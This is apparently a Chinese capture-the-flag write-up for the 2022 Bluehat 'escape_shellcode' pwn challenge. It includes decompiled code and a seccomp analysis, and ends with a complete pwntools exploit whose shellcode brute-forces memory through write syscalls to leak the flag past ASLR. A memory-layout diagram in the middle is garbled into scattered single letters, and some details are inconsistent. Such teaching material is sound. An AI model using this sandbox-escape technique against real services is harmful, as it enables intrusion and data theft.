布鲁特福斯惊呼内行!
程序很简单.
main:
1
2
3
4
5
6
7
8
9
10
11
12
13
undefined8 main ( int argc , char ** argv , char ** envp )
{
int64_t var_18h ;
int64_t var_10h ;
int64_t var_4h ;
sym . init_io ();
sym . init_mem ();
sym . init_flag ();
sym . sandbox ();
sym . go ();
return 0 ;
}
init_io:
1
2
3
4
5
6
7
void sym . init_io ( void )
{
sym . imp . setbuf ( _reloc . stdin , 0 );
sym . imp . setbuf ( _reloc . stdout , 0 );
sym . imp . setbuf ( _reloc . stderr , 0 );
return ;
}
init_mem:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
void sym . init_mem ( void )
{
undefined8 uVar1 ;
undefined8 * puVar2 ;
_obj . heap_mem = ( undefined8 * ) sym . imp . malloc ( 0x1000 );
sym . imp . mprotect (( uint64_t ) _obj . heap_mem & 0xfffffffffffff000 , 0x2000 , 7 );
puVar2 = _obj . heap_mem ;
uVar1 = * ( undefined8 * ) 0x4028 ;
* _obj . heap_mem = _obj . pre_shellcode ;
puVar2 [ 1 ] = uVar1 ;
uVar1 = * ( undefined8 * ) 0x4038 ;
puVar2 [ 2 ] = * ( undefined8 * ) 0x4030 ;
puVar2 [ 3 ] = uVar1 ;
uVar1 = * ( undefined8 * ) 0x4048 ;
puVar2 [ 4 ] = * ( undefined8 * ) 0x4040 ;
puVar2 [ 5 ] = uVar1 ;
uVar1 = * ( undefined8 * ) 0x4058 ;
puVar2 [ 6 ] = * ( undefined8 * ) 0x4050 ;
puVar2 [ 7 ] = uVar1 ;
uVar1 = * ( undefined8 * ) 0x4068 ;
puVar2 [ 8 ] = * ( undefined8 * ) 0x4060 ;
puVar2 [ 9 ] = uVar1 ;
uVar1 = * ( undefined8 * ) 0x4078 ;
puVar2 [ 10 ] = * ( undefined8 * ) 0x4070 ;
puVar2 [ 0xb ] = uVar1 ;
uVar1 = * ( undefined8 * ) 0x4088 ;
puVar2 [ 0xc ] = * ( undefined8 * ) 0x4080 ;
puVar2 [ 0xd ] = uVar1 ;
uVar1 = * ( undefined8 * ) 0x4098 ;
puVar2 [ 0xe ] = * ( undefined8 * ) 0x4090 ;
puVar2 [ 0xf ] = uVar1 ;
uVar1 = * ( undefined8 * ) 0x40a8 ;
puVar2 [ 0x10 ] = * ( undefined8 * ) 0x40a0 ;
puVar2 [ 0x11 ] = uVar1 ;
uVar1 = * ( undefined8 * ) 0x40b8 ;
puVar2 [ 0x12 ] = * ( undefined8 * ) 0x40b0 ;
puVar2 [ 0x13 ] = uVar1 ;
puVar2 [ 0x14 ] = * ( undefined8 * ) 0x40c0 ;
* ( undefined2 * )( puVar2 + 0x15 ) = * ( undefined2 * ) 0x40c8 ;
* ( undefined * )(( int64_t ) puVar2 + 0xaa ) = * ( undefined * ) 0x40ca ;
return ;
}
init_map 首先开了一个大小为 0x100 的堆空间, 将堆的起始地址赋值给全局变量 heap_mem. 然后设置这段内存的属性为可读可写可执行 (rwx, 7). 之后讲有初值的全局变量 pre_shellcode 复制到 heap_mem 上.
pre_shellcode 为:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
;-- pre_shellcode:
0 x00004020 movabs rax , 0xdeadbeefdeadbeef
0 x0000402a movabs rbx , 0xdeadbeefdeadbeef
0 x00004034 movabs rcx , 0xdeadbeefdeadbeef
0 x0000403e movabs rdx , 0xdeadbeefdeadbeef
0 x00004048 movabs rdi , 0xdeadbeefdeadbeef
0 x00004052 movabs rsi , 0xdeadbeefdeadbeef
0 x0000405c movabs r8 , 0xdeadbeefdeadbeef
0 x00004066 movabs r9 , 0xdeadbeefdeadbeef
0 x00004070 movabs r10 , 0xdeadbeefdeadbeef
0 x0000407a movabs r11 , 0xdeadbeefdeadbeef
0 x00004084 movabs r12 , 0xdeadbeefdeadbeef
0 x0000408e movabs r13 , 0xdeadbeefdeadbeef
0 x00004098 movabs r14 , 0xdeadbeefdeadbeef
0 x000040a2 movabs r15 , 0xdeadbeefdeadbeef
0 x000040ac movabs rbp , 0xdeadbeefdeadbeef
0 x000040b6 movabs r15 , 0xdeadbeefdeadbeef
0 x000040c0 movabs rsp , 0xdeadbeefdeadbeef
init_flag:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
void sym . init_flag ( void )
{
int32_t iVar1 ;
int fildes ;
iVar1 = sym . imp . open ( "/flag" , 0 );
if ( iVar1 < 1 ) {
sym . imp . puts ( "/flag is not found." );
sym . imp . exit ( 0 );
}
sym . imp . read ( iVar1 , obj . flag , 0x80 );
sym . imp . close ( iVar1 );
return ;
}
打开 /flag
, 读取到 flag 中. 查看 flag 为 .bss 节中的变量, 大小 0x100.
sandbox:
1
2
3
4
5
6
7
8
9
10
11
void sym . sandbox ( void )
{
undefined8 uVar1 ;
int64_t var_8h ;
uVar1 = sym . imp . seccomp_init ( 0 );
sym . imp . seccomp_rule_add ( uVar1 , 0x7fff0000 , 1 , 0 );
sym . imp . seccomp_rule_add ( uVar1 , 0x7fff0000 , 0 , 0 );
sym . imp . seccomp_load ( uVar1 );
return ;
}
1
2
3
4
5
6
7
8
9
10
11
12
seccomp-tools dump ./escape_shellcode
line CODE JT JF K
=================================
0000: 0x20 0x00 0x00 0x00000004 A = arch
0001: 0x15 0x00 0x06 0xc000003e if ( A != ARCH_X86_64) goto 0008
0002: 0x20 0x00 0x00 0x00000000 A = sys_number
0003: 0x35 0x00 0x01 0x40000000 if ( A < 0x40000000) goto 0005
0004: 0x15 0x00 0x03 0xffffffff if ( A != 0xffffffff) goto 0008
0005: 0x15 0x01 0x00 0x00000000 if ( A == read ) goto 0007
0006: 0x15 0x00 0x01 0x00000001 if ( A != write) goto 0008
0007: 0x06 0x00 0x00 0x7fff0000 return ALLOW
0008: 0x06 0x00 0x00 0x00000000 return KILL
注意要先保证 /flag
存在, 否则 seccomp-tools 检测不到 sandbox. seccomp-tools 的原理大概是运行时确定 sandbox, 所以一定要让程序执行到 seccomp. 这个程序如果打开 /flag
失败就退出了, 没有执行 seccomp.
可以看见, 只开启了 read 和 write 的系统调用.
go:
1
2
3
4
5
6
void sym . go ( void )
{
sym . imp . read ( 0 , _obj . heap_mem + 0xaa , 0x100 );
( * _obj . heap_mem )();
return ;
}
在 heap_mem 写入了 pre_shellcode 之后, 读入 0x100 的数据, 然后执行 shellcode.
当程序执行到 go 里面, 进而跳转到 heap_mem 执行, 然后会将几乎寄存器的值赋为 0xdeadbeefdeadbeef. rip 和一些其他非通用寄存器除外. 那么大致的思路就是确定 .bss 上的 flag 的位置, 然后 read 到 stdout.
检查保护:
1
2
3
4
5
6
7
checksec ./escape_shellcode
[ *] '/home/wings/CTF/contest/2022-bluehat/pwn/escape_shellcod/escape_shellcode'
Arch: amd64-64-little
RELRO: Full RELRO
Stack: No canary found
NX: NX enabled
PIE: PIE enabled
开了 PIE, 也就是我们没法直接得到 .bss 的地址.
回顾进程的虚拟内存布局:
l
i
m
b
a
K
e
,
n
e
S
m
d
.
.
R
r
t
o
l
H
.
d
t
e
n
a
r
a
s
e
b
a
e
s
e
c
y
r
o
a
s
t
x
e
l
k
g
p
s
a
t
r
m
e
o
v
a
n
e
p
h
d
e
a
p
r
r
r
a
a
a
0
n
s
n
s
n
P
x
d
t
d
t
d
I
7
o
a
o
a
o
E
F
m
c
m
r
m
F
k
t
b
F
s
_
m
_
b
a
F
t
t
m
b
k
s
F
a
o
a
k
r
e
F
c
p
p
r
F
k
o
F
o
f
F
o
f
f
F
f
f
s
F
f
s
e
s
e
t
e
t
t
由于 heap_mem 大小为 0x100, 所以它是在 Heap 段中的. rip 可以泄漏 Heap 地址.
rip 不能当成通用寄存器操作, 但有方法把它的值赋给其他通用寄存器. 这里有两种方法泄漏.
相对 rip 寻址.
相对 rip 寻址是 Intel 64 位 CPU 新增的寻址方式, 32 位的 CPU 没有这个功能.
lea rax, [rip]
即可将 rip 的值赋给 rax.
syscall
syscall 返回时, 会将 rax 设置为返回值, rcx 设置为中断返回地址 (其他寄存器的值不变). 也就是 rcx 即为中断返回后, 现在的 rip 值.
还有一种和 rip 无关的方法: 利用 fs 中存储的结构.
fs 中存的是 TLS 的地址, TLS 中存了一个 TCB 的地址, TCB 中存了一个当前线程的 Heap 地址. 调试可得. 这里就不写了. (其实是没有找到结构长啥样, 不想找了, 调试了一下没啥问题)
syscall 在发生错误时, 并不会使得程序结束, 而是返回错误代码的返回值. 如 rax 返回为 -0xe 之类的. 也就是说, 我们可以直接爆破 read .bss 的内容.
由于 ASLR, Heap 和 .bss 中间会有一段偏移. 这个偏移虽然是随机的, 但是是有一定范围的. 通过阅读 Linux 源代码阅读别人的博客 (Linux ASLR的实现 )可以知道, start_bkr 首先被设置为 .bss 下一页的值, 然后取 [old_start_brk, old_start_brk+0x2000000)中页面对齐的值. 也就是说, 相对 .bss 结尾, 最大偏移可能达到 0x1000 (页大小) + 0x2000000 (随机偏移的最大值) = 0x2001000.
调试一下程序, 最开始可读的段到数据段的偏移是 4 个页面的大小, 也就是 0x4000. (.bss 装载的时候一起装在数据段中). 那么 start_bkr 到最开始可读的段, 偏移最大为 0x2001000 + 0x4000 = 0x2005000. rwx 的堆一共 2 个页面, 也就是 0x2000. 所以, rip - 0x2007000 一定在可读的程序段之下.
1
2
3
4
5
6
7
8
9
0x000055a00aef0000 - 0x000055a00aef1000 - usr 4K s r-- /home/wings/CTF/contest/2022-bluehat/pwn/escape_shellcod/escape_shellcode /home/wings/CTF/contest/2022-bluehat/pwn/escape_shellcod/escape_shellcode ; sym..symtab
0x000055a00aef1000 - 0x000055a00aef2000 * usr 4K s r-x /home/wings/CTF/contest/2022-bluehat/pwn/escape_shellcod/escape_shellcode /home/wings/CTF/contest/2022-bluehat/pwn/escape_shellcod/escape_shellcode ; sym._init
0x000055a00aef2000 - 0x000055a00aef3000 - usr 4K s r-- /home/wings/CTF/contest/2022-bluehat/pwn/escape_shellcod/escape_shellcode /home/wings/CTF/contest/2022-bluehat/pwn/escape_shellcod/escape_shellcode ; obj._IO_stdin_used
0x000055a00aef3000 - 0x000055a00aef4000 - usr 4K s r-- /home/wings/CTF/contest/2022-bluehat/pwn/escape_shellcod/escape_shellcode /home/wings/CTF/contest/2022-bluehat/pwn/escape_shellcod/escape_shellcode ; map.home_wings_CTF_contest_2022_bluehat_pwn_escape_shellcod_escape_shellcode.rw
0x000055a00aef4000 - 0x000055a00aef5000 - usr 4K s rw- /home/wings/CTF/contest/2022-bluehat/pwn/escape_shellcod/escape_shellcode /home/wings/CTF/contest/2022-bluehat/pwn/escape_shellcod/escape_shellcode ; loc.__data_start
0x000055a00aef5000 - 0x000055a00aef7000 - usr 8K s rw- /home/wings/CTF/contest/2022-bluehat/pwn/escape_shellcod/escape_shellcode /home/wings/CTF/contest/2022-bluehat/pwn/escape_shellcod/escape_shellcode ; sym..dynsym
0x000055a00ccad000 - 0x000055a00ccaf000 - usr 8K s rwx [heap] [heap]
0x000055a00ccaf000 - 0x000055a00ccce000 - usr 124K s rw- [heap] [heap]
...
(其实不用算的这么准确, 直接减去 0x3000000 做也是可以的)
然后写一个这样的程序 (伪代码):
1
2
3
4
5
6
7
8
for ( r8 = rip - 0x2007000 ; rax <= 0 ; r8 += 0x200 ) {
rax = 1 ;
rsi = r8 ;
rdi = 1 ;
rdx = 0x200
syscall ;
}
r8 -= 0x200 ;
0x200 是尝试输出的字符, 大小不要超过一个页面, 也没必要太小.
整体思路是, 向上步进, 直到找到具有 read 权限的段, 也就是 sym..symtab, 假设为 0x000055a00aef0000 (就是上面的调试的例子). r8 的可能取值是 [0x000055a00aef0000, 0x000055a00aef0200]. 由于页映射的原因, 后 12 位应该是确定的值. 调试确定后 12 位为 0x151.
然后根据 flag 到 .symtab+0x151 的偏移, 为 0x3fcf 跳转到 flag 的位置输出即可.
exp:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
from pwn import *
context ( arch = 'amd64' , log_level = 'debug' )
io = process ( './escape_shellcode' )
shellcode = '''
lea r8, [rip]
sub r8,0x2007000
a:
mov rax,1
mov rsi,r8
mov rdi,1
mov rdx,0x200
syscall
add r8,0x200
cmp rax,0
jng a
sub r8, 0x200
add r8, 0x3fcf
mov rsi, r8
mov rax,1
syscall
'''
io . sendline ( asm ( shellcode ))
io . recvuntil ( b 'flag{' )
flag = b 'flag{' + io . recvuntil ( b '}' )
print ( flag )